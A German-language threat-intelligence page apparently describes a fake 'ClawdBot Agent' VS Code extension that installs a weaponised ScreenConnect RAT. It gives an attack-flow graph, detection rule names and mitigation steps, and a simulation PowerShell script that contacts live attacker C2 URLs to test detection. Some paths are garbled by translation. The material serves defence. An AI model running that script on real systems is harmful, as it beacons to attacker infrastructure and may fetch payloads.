Gefälschte ClowdBot VS Code-Erweiterung verteilt ScreenConnect RAT
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Eine bösartige Visual Studio Code-Erweiterung namens ClawdBot Agent gibt sich als KI-Coding-Assistent aus, installiert jedoch heimlich ein bewaffnetes ScreenConnect-Remote-Access-Tool auf Windows, wenn VS Code gestartet wird. Beim Start zieht die Erweiterung eine Konfigurationsdatei von einer von Angreifern kontrollierten Domain ab, lädt dann eine gefälschte VS Code-Binärdatei (Code.exe) zusammen mit unterstützenden DLLs herunter und führt sie aus. Als sekundärer Lieferweg kann es das gleiche Installationsprogramm von einem Dropbox-Link abrufen, um die Verfügbarkeit der Nutzlast aufrechtzuerhalten. Die Kampagne missbraucht ein vertrauenswürdiges IT-Support-Tool, um in legitime Remote-Administrationsaktivitäten zu passen und das Misstrauen zu verringern.
Untersuchung
Forscher erwarben die package.json der Erweiterung, bestätigten die Aktivierung beim Start von VS Code und erhielten die Remote-JSON-Konfiguration, die die bösartigen Komponenten listet. Binäranalysen zeigten signierte ScreenConnect-Module, die zu einem benutzerdefinierten Relaisserver sendeten. Zusätzliche Fallback-Logik wurde in JavaScript und PowerShell gefunden, die auf sekundäre Domains und in Dropbox gehostete Nutzlasten verweisen. Auf der Festplatte wurden Artefakte im Ordner %TEMP%Lightshot beobachtet.
Milderung
Entfernen Sie die ClawdBot-Agentenerweiterung aus VS Code und löschen Sie die verbleibenden Dateien vom ScreenConnect-Installationsort und dem Verzeichnis %TEMP%Lightshot. Deinstallieren Sie den ScreenConnect-Client-Dienst und blockieren Sie ausgehende Verbindungen zu den identifizierten Relais-Domains und IPs. Ändern Sie alle API-Schlüssel oder Geheimnisse, die möglicherweise in die Erweiterung eingegeben wurden.
Antwort
Erkennen Sie die bösartige Erweiterung, indem Sie VS Code-Erweiterungsinstallationen und die Erstellung des Lightshot-Verzeichnisses überwachen. Alarmieren Sie bei der Ausführung von Code.exe oder ScreenConnect-Binärdateien von nicht standardmäßigen Pfaden und bei ausgehenden Verbindungen zu meeting.bulletmailer.net:8041 oder der zugehörigen IP-Adresse. Führen Sie Host-Forensik durch, um die Entfernung der Persistenz zu bestätigen und zusätzliche Nutzlasten zu identifizieren.
graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ffe599 classDef server fill:#c2f0c2 classDef process fill:#d9d9d9 %% Technique nodes tech_software_ext[„<b>Technik</b> – <b>T1176 Software-Erweiterungen</b><br/>Angreifer missbrauchen Software-Erweiterungen zur Codeausführung, Persistenz oder Datenexfiltration.“] class tech_software_ext action tech_ide_ext[„<b>Technik</b> – <b>T1176.002 IDE-Erweiterungen</b><br/>Missbrauch von IDE-Erweiterungen zur Ausführung von Schadcode oder Persistenz.“] class tech_ide_ext action tech_user_exec[„<b>Technik</b> – <b>T1204.002 Benutzerausführung: bösartige Datei</b><br/>Das Opfer führt absichtlich oder unbeabsichtigt eine schädliche Datei aus.“] class tech_user_exec action tech_app_layer[„<b>Technik</b> – <b>T1071.001 Anwendungsschichtprotokoll: Webprotokolle</b><br/>Verwendung von HTTP/HTTPS für C2-Kommunikation.“] class tech_app_layer action tech_fallback[„<b>Technik</b> – <b>T1008 Fallback-Kanäle</b><br/>Alternative Kommunikationspfade bei Ausfall primärer Kanäle.“] class tech_fallback action tech_powershell[„<b>Technik</b> – <b>T1059.001 PowerShell</b><br/>Ausführung von Befehlen, Download von Dateien und Systeminteraktion.“] class tech_powershell action tech_rat[„<b>Technik</b> – <b>T1219 Remote-Access-Tools</b><br/>Fernsteuerung kompromittierter Systeme.“] class tech_rat action tech_dll_inject[„<b>Technik</b> – <b>T1055.001 DLL-Injektion</b><br/>Einschleusen einer bösartigen DLL in einen laufenden Prozess.“] class tech_dll_inject action tech_appcert[„<b>Technik</b> – <b>T1546.009 Ereignisgesteuerte Ausführung: AppCert DLLs</b><br/>Side-Loading von DLLs über AppCert-Registrierung.“] class tech_appcert action tech_appinit[„<b>Technik</b> – <b>T1546.010 Ereignisgesteuerte Ausführung: AppInit DLLs</b><br/>Laden schädlicher DLLs über AppInit_DLLs beim Systemstart.“] class tech_appinit action %% Artifact nodes ext_clawdbot[„<b>Tool</b> – <b>Name</b>: ClawdBot Agent VS Code Erweiterung<br/><b>Typ</b>: IDE-Erweiterung“] class ext_clawdbot tool activation_event[„<b>Datei</b> – <b>Name</b>: activationEvents \“onStartupFinished\““] class activation_event file init_core[„<b>Aktion</b> – initCore() wird beim VS-Code-Start ausgeführt“] class init_core action c2_domain[„<b>Server</b> – clawdbot.getintwopc.site“] class c2_domain server fallback_urls[„<b>Server</b> – Fest codierte Fallback-URLs“] class fallback_urls server ps_script[„<b>Skript</b> – PowerShell-Skript lädt Backup-Payload“] class ps_script file lightshot[„<b>Datei</b> – Lightshot.exe / Lightshot.dll (Backup-Payload)“] class lightshot file darkgpt[„<b>Server</b> – darkgptprivate.com“] class darkgpt server code_exe[„<b>Malware</b> – Code.exe (bewaffneter ScreenConnect-Client)“] class code_exe file relay_server[„<b>Server</b> – meeting.bulletmailer.net:8041“] class relay_server server dwrite_dll[„<b>Datei</b> – DWrite.dll (bösartige DLL als DirectWrite getarnt)“] class dwrite_dll file screenconnect_proc[„<b>Prozess</b> – ScreenConnect-Komponente“] class screenconnect_proc process %% Connections ext_clawdbot –>|nutzt| tech_software_ext ext_clawdbot –>|nutzt| tech_ide_ext ext_clawdbot –>|definiert| activation_event activation_event –>|löst aus| init_core init_core –>|holt Konfiguration von| c2_domain c2_domain –>|stellt bereit| tech_app_layer init_core –>|nutzt Fallback| fallback_urls fallback_urls –>|liefert| ps_script ps_script –>|führt aus| tech_powershell tech_powershell –>|lädt| lightshot lightshot –>|wird ausgeführt als| tech_user_exec lightshot –>|bereitgestellt als| code_exe code_exe –>|nutzt| tech_rat code_exe –>|verbindet sich mit| relay_server relay_server –>|ermöglicht| tech_app_layer code_exe –>|lädt| dwrite_dll dwrite_dll –>|registriert für| tech_appcert dwrite_dll –>|registriert für| tech_appinit dwrite_dll –>|injiziert über| tech_dll_inject tech_dll_inject –>|zielt auf| screenconnect_proc screenconnect_proc –>|führt aus| dwrite_dll tech_fallback –>|deckt ab| fallback_urls
Angriffsfluss
Erkennungen
Alternative Fernzugriffs-/Verwaltungssoftware (via process_creation)
Anzeigen
Download oder Upload über Powershell (via cmdline)
Anzeigen
Alternative Fernzugriffs-/Verwaltungssoftware (via Audit)
Anzeigen
Alternative Fernzugriffs-/Verwaltungssoftware (via system)
Anzeigen
IOCs (DestinationIP) zur Erkennung: Gefälschte Clawdbot VS Code-Erweiterung installiert ScreenConnect RAT
Anzeigen
IOCs (SourceIP) zur Erkennung: Gefälschte Clawdbot VS Code-Erweiterung installiert ScreenConnect RAT
Anzeigen
IOCs (HashSha256) zur Erkennung: Gefälschte Clawdbot VS Code-Erweiterung installiert ScreenConnect RAT
Anzeigen
IOCs (Emails) zur Erkennung: Gefälschte Clawdbot VS Code-Erweiterung installiert ScreenConnect RAT
Anzeigen
Gefälschte ClawdBot VS Code-Erweiterung installiert ScreenConnect RAT [Windows-Prozesserstellung]
Anzeigen
Erkennung der Installation des ScreenConnect RAT durch die gefälschte Clawdbot VS Code-Erweiterung [Windows-Netzwerkverbindung]
Anzeigen
Simulationsausführung
Voraussetzung: Der Telemetrie- & Basislinien-Vorflugcheck muss bestanden werden.
Angriffserzählung & Befehle
- Der Angreifer veröffentlicht eine trojanisierte VS-Code-Erweiterung mit dem Titel „Clawdbot Helper“.
-
Das Opfer installiert die Erweiterung über den VS-Code-Marktplatz, der ein
postinstallSkript ausführt, das leise den ScreenConnect-Client (ScreenConnect.Client.exe) in%APPDATA%ScreenConnect. - sofort nach der Installation, initiiert der Client drei ausgehende TCP-Verbindungen zu den von den Angreifern kontrollierten C2-Domains, um zusätzliche Nutzlasten abzurufen und den Host-Status zu melden.
-
Die ausgehenden Verbindungen erzeugen Sysmon-Ereignis-ID 3 Einträge, die mit der
dest_ipListe übereinstimmen, die die Erkennungsregel erfüllt.
Regressionstestskript
# --------------------------------------------------------------
# Simulierte bösartige VS Code-Erweiterungs-Post-Installationsroutine
# --------------------------------------------------------------
# Schritt 1 – Ablegen einer Dummy-ScreenConnect-Binärdatei (simuliert)
$payloadPath = "$env:APPDATAScreenConnectScreenConnect.Client.exe"
New-Item -ItemType Directory -Path (Split-Path $payloadPath) -Force | Out-Null
# Erstellen einer harmlosen Platzhalter-Binärdatei (z. B. eine Kopie von notepad.exe)
Copy-Item -Path "$env:SystemRootSystem32notepad.exe" -Destination $payloadPath -Force
# Schritt 2 – Ausgehende Verbindungen zu jedem C2-Host herstellen
$c2Hosts = @(
"http://meeting.bulletmailer.net/collect",
"http://clawdbot.getintwopc.site/payload",
"https://www.dropbox.com/s/evilpayload.exe"
)
foreach ($url in $c2Hosts) {
try {
# Stille Netzwerkanforderung; -UseBasicParsing vermeidet Benutzeroberflächenaufforderungen
Invoke-WebRequest -Uri $url -Method GET -UseBasicParsing -TimeoutSec 5 | Out-Null
Write-Host "Kontaktierte $url"
} catch {
Write-Host "Fehler beim Kontaktieren von $url (in einer Sandbox erwartet)."
}
}
# Ende des Skripts – an diesem Punkt sollte Sysmon drei
# NetworkConnect-Ereignisse protokolliert haben, deren DestinationIp-Werte mit der Regel übereinstimmen.
Bereinigung der Befehle
# --------------------------------------------------------------
# Entfernen simulierter Artefakte
# --------------------------------------------------------------
# Beenden verbleibender PowerShell-Jobs (keine in diesem einfachen Skript)
Get-Job | Remove-Job -Force
# Löschen des Dummy-ScreenConnect-Client-Ordners
Remove-Item -Path "$env:APPDATAScreenConnect" -Recurse -Force
# Optional: Löschen des Sysmon-Puffers (erfordert Adminrechte)
# sysmon -c